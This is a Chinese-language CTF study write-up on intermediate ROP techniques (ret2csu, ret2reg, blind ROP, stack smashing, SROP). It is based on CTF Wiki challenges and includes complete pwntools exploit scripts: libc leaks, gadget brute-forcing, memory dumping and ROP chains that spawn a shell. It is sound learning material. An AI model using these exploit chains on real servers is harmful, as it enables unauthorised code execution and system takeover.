所用题目可在中级ROP - CTF Wiki (ctf-wiki.org)找到;

ret2csu

对于X64(amd64)程序,函数传参为rdi,rsi,rdx,rcx,r8,r9,然后是栈;

而x64程序中有这样一个系统自带函数 __libc_csu_init,这个函数是用来对 libc 进行初始化操作的;

这个函数里面有许多可以利用的gadget,可以控制一些寄存器,可以用一道题来进行演示(level5);

image.png

分析后很简单的一个栈溢出,没了,什么都没有,只有一个我们上面提到的__libc_csu_init可以利用;

image.png

我也不知道为什么ida翻译过来的内容是这样的,而且这段代码还不能直接利用pop rdi ret(拆开pop r15机械码),很奇怪;

思路为:

  • 获取libc基址;
  • 拿system地址;
  • 拿binsh地址;
  • 执行system(binsh);

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#write和read的libc函数地址对应指针(got表)
write_addr = 0x601000
read_addr = 0x601008
main = 0x400564
#__libc_csu_init中的利用
pop_rbx_egg_gadget = 0x400606
dx_si_di_gadget = 0x4005F0

p = process('./level5')

#第一步,获取libc基址
#执行write函数需要三个变量 rdi为1(写到标准输出)rsi为写入内容 rdx为长度 write(1,"ddd",len);
#所以需要先控制这三个寄存器内容为1,和write_addr,以及8!
# 返回到利用 未知偏移 rbx rbp r12 r13-edi r14-rsi r15-rdx ret
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(write_addr) + p64(1) + p64(write_addr) + p64(8) + p64(dx_si_di_gadget)
#这个时候已经把我们想要的寄存器给改了,同时执行call [r12 + rbx*8],执行write后,绕过rbp与rbx的判断,此时应该返回main
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.recv()
p.sendline(payload)
#拿到libc基址 第一步完成
write_in_libc = u64(p.recvuntil("Hello, World\n")[:8])
libc.address = write_in_libc - libc.sym['write']

#通过libc拿system和binsh
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

print('binsh:',hex(binsh),' system:',hex(system))

#第二步,执行system
#因为只能控制edi,binsh的完整地址放不进去,可以先写到bss段,因为bss段长度没那么大,可以使用edi
#同时call [r12 + rbx*8] 需要的是函数指针,所以也可以把system地址写过去
bss = 0x0601028
# read(0,bss,16);
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(read_addr) + p64(0) + p64(bss) + p64(16) + p64(dx_si_di_gadget)
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.sendline(payload)
p.send(p64(system) + b'/bin/sh\x00')
p.recv()

#此时我们有了函数指针以及小地址的binsh字符串;
#利用call [r12 + rbx*8] 执行system(/bin/sh)
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0) + p64(0) + p64(dx_si_di_gadget)
p.sendline(payload)

p.interactive()

在wiki上,作者提到了对ret2csu的改进,思路是尽量不改变使用的寄存器的值且提前改变,进行多次利用,节省ROP空间;

ret2reg

原理

  • 查看溢出函数返回时哪个寄存值指向溢出缓冲区空间;
  • 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址(gadget利用);
  • reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的);

这里解释下JOP和COP的含义:jump oriented programming, call oriented programming;

在ret2csu中,我们最后利用的一次payload实际上就是COP,思路类似;

BROP

全名:blind return oriented programming;

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护;

基本思路

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

由于程序崩溃会重新启动,且地址一样,cannary一样,所以可以通过溢出崩溃进行爆破;

而寻找gadget需要一些技巧:

  • 寻找 stop gadget:所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(用于之后测试gadget地址);当找到一段gadget之后,程序继续执行返回到这段连接状态地区时,程序一直连接,证明找到一段可用的gadget;
  • 识别gadget:将可利用的gadget称之为probe等待测试,此外还需要找到stop(stop gadget地址)和trap(导致程序崩溃地址);利用stop和trap的不同摆放栈上的位置可以探测出,probe里面的内容,比如:
    • probe,trap,stop,traps:通过这个样子找到只是弹出一个栈变量的gadget(崩溃了就不是,没崩溃就说明找到了);

相当于在识别gadget时,只需要确定stop之前有几个trap,就能知道pop了几次,同时如果要确认probe本身不是一个stop,则需要二次确认,在probe后方全部添加为trap,如果崩了,说明probe找对了,否则就被误导了;

在ret2csu的__libc_csu_init函数后面的那一串pop称之为brop gadget,因为它的特征很明显,一次性pop 6次,所以在找的时候尽量去找brop gadget,因为其他找到的gadget无法识别它到底pop的是哪个寄存器!通过brop gadget,可以控制rsi,edi;

寻找plt表利用函数:

为什么是找plt而不直接找got呢?因为plt在got内存之前,在很多段之前,从程序基址找起,第一次找到的就是它;

对于plt表,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表(使用了它的函数);除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头;

关于plt表的格式问题公式化套路:最后一次调用函数成功的地址减6为真实plt表地址;

之后就会利用strcmp来控制rdx的值,进而使用打印函数;

判断strcmp的方法也简单:控制前两个参数为可读地址,它才能正确执行,否则崩溃;

之后就是寻找输出函数;

寻找put有一个公式:

其中addr为爆破地址;

如果能打印出elf,就说明找对了输出函数;

1
payload = b'a'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

实现攻击

以一道题为例子: HCTF2016 的出题人失踪了

没有二进制文件,直接用脚本进行测试:

测试溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def testStack(payload):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.sendline(payload)
return p.recv()

for i in range(1,0x100):
try:
res = testStack(b'a'*i)
print(res)
except EOFError:
print('this is length: ',i,' .')
print(res)
break

当i = 73时,发生EOF报错,同时没有出现cannary报错,说明72之后为返回地址;

寻找stop gadget

此时开始寻找关键判断内容:stop gadget;

因为原程序本身就有一个等待输入的部分,所以可以思考能否返回到再次输入的部分呢?

这个样子就构成了stop gadget,同时也能再一次进行输入利用,相当于返回了一次main;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

overflowlen = 72

#从40W开始,400590,400591,400595,0x400596 linux会崩掉
for i in range(0x400597,0xffffffffffffffff):
try:
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i)
p.sendline(payload)
res = p.recv()
#测试发现程序崩溃后不会打印之后的字符串
if res == b'WelCome my friend,Do you know password?\n':
print('stop gadget: ',hex(i))
exit(0)
p.close()
except Exception:
p.close()

#stop gadget: 0x4005c0

利用如上脚本得到一个stopgadget地址;

识别brop gadget

利用之前的原理寻找连续6pop的的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000

#已经确认744之前无brop gadget 不是recv timeout就是linux崩
for i in range(0x40074a,0xffffffffffffffff):
try:
#都会导致linux崩溃
#if i == 0x400590 or i == 0x400591 or i == 0x400595 or i == 0x400596 or i == 0x4005cc or i == 0x4005cb:
if i == 0x4006f2 or i == 0x400700 or i == 0x400734:
continue
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)

if res == b'WelCome my friend,Do you know password?\n':
#判断探针i是否本身就是一个stop
p.close()
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)
except Exception:
print('brop gadget: ',hex(i))
exit(0)
p.close()
continue
p.close()
except Exception:
p.close()

#brop gadget: 0x4007ba

可以找到brop gadget的地址;

同时这道题的csu pop是正常的,不是mov再给rsp减38h,是连着pop的,所以可以用pop rdi之前提及到的这种小技巧;

接下来就是找函数了;

确定put plt地址

image

上图是关于brop gadget的利用,直接通过brop gadget地址 + 9获取 pop rdi ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

for i in range(0x400000,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
break
p.close()
except Exception:
p.close()

#put_addr: 0x400555

至此获取put导入表中的地址,但这里获取的是调用put之前的一段代码,我们需要找到最后一次调用put成功的段减去6的偏移(plt表的结构问题),才是put在导入表中真正的地址!

在经过一轮测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

#从第一次执行put开始
for i in range(0x400555,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
p.close()
except Exception:
p.close()

通过测试可以知道最后一次通过判断是put_addr: 0x400566;

那么put的plt地址为0x400560;

泄露put got地址

用put泄露地址,要注意它是把内存按照字符串进行打印,遇到00会截断;

所以定义一个函数,按一段内存进行泄露;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560

def leak(start,end):
data = b''
i = start
while(1):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop)
p.sendline(payload)
try:
res = p.recvuntil(b"\nWelCome",timeout = 2)
res = res[:-8]
data = data + res + b'\x00'
i = i + len(res) + 1
p.close()
except Exception:
p.close()
if i >= end:
break
return data

#从put_plt往后0x100个字节,当然也可以从40W开始
res = leak(put_plt,put_plt+0x100)

with open('codess','wb') as f:
f.write(res)

之后用ida打开codess重定位到400560:

image.png

能够拿到put的got表地址在0x601018;

之后就是getshell了;

最终的EXP

思路为获取libc基址,调用system,结束;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560
put_got = 0x601018

#泄露基址
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(stop)

p.sendline(payload)
res = p.recvuntil(b'\nWelCome')
put_addr_in_libc = u64(res[:-8].ljust(8,b'\x00'))
libc.address = put_addr_in_libc - libc.sym['puts']

#获取binsh和system
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#执行system
p.recv()
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(stop)
p.sendline(payload)
p.interactive()

总结一下,这道题实际上没有开cannary,没有开pie,如果开了,需要先爆破cannary,之后寻找程序基址;

如果开了PIE,就比较棘手了,首先确定put调用的方法需要换了,除非有找到程序基址的方法;

CTF WIKI上没有明确提出如果有PIE如何解决的问题;

其实可以通过获取的stop gadget地址(回到输入的地址)来推测是否开启PIE,大概确定一个基址的范围(用于设置起点快速遍历);

确定put的方法可以直接把40W打印出ELF改为打印BROP gadget处的特征码就行了,可以不用确定基址;

之后还是照常做就行;

Stack Smash

原理

当发生栈溢出时, libc会调用一个函数: __fortify_fail 传参为 stack smashing detected 字符串;

同时这个函数会打印文件名(环境变量),这个文件名存在main函数栈的下方,所以栈溢出可以覆盖到;

适用版本为 glibc < 2.27;

补充:环境变量时存放在栈上的,同时libc里有一个符号叫 environ,它存放了环境变量地址,通过libc基址可拿到 environ地址,通过environ地址可拿到环境变量地址,也就是栈上的地址;

利用

可以读取内存中的字符串信息,将其覆盖到对应栈位置;

所以如果有题目在内存中读取了flag,可以思考利用这个;

SROP

sigreturn oriented programming(面向sigreturn的编写),sigreturn 是一个系统调用,它在unix系统发生signal时会被间接调用,信号机制(中断);

原理

内核向进程发起一个signal,该进程被挂起(阻塞态),CPU进入内核态;

内核为其保存上下文,跳转相应的signal handler(一个函数,处理的时候继承挂起进程的内存空间,用户态,由进程本身定义编写)进行处理;

处理程序执行完毕,切入进程,恢复其上下文,继续执行;

Linux下,内核会帮用户进程将其上下文保存在它的栈上,然后在栈顶给到地址:rt_sigreturn,这个函数中会执行sigreturn系统调用;当signal handler执行完后,会返回去执行sigreturn;

出现的问题:

  • sigreturn也是用户态执行;
  • 上下文恢复不会检测,直接用,覆盖了的话,寄存器信息就变了;

利用

跳过前两步(内核给到signal,保存上下文),手动编写SROP链(自己写的上下文信息以及rt_sigreturn地址),手动的return到sigreturn,自动的帮我们恢复我们定义的上下文,从而控制程序流;

rt_sigreturn在i386下,存放于vdso,而在x64下,int 15就可以直接系统调用它;

主要利用x64下的,其SROP构造如下:

image.png

在pwntools里给出了关于SROP的利用:

1
2
3
4
5
6
7
8
9
#记得架构给到
context.arch = 'amd64'
#注意覆盖空间要够大,这个frame有0x100的大小
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rip = syscall
frame.rsi = 0 #函数return覆盖 int 15
payload = b'a'*0x10 + p64(mov_rax_15_ret) + p64(syscall) + bytes(frame)

当禁用59 execve时,通过orw(open read write)获取flag;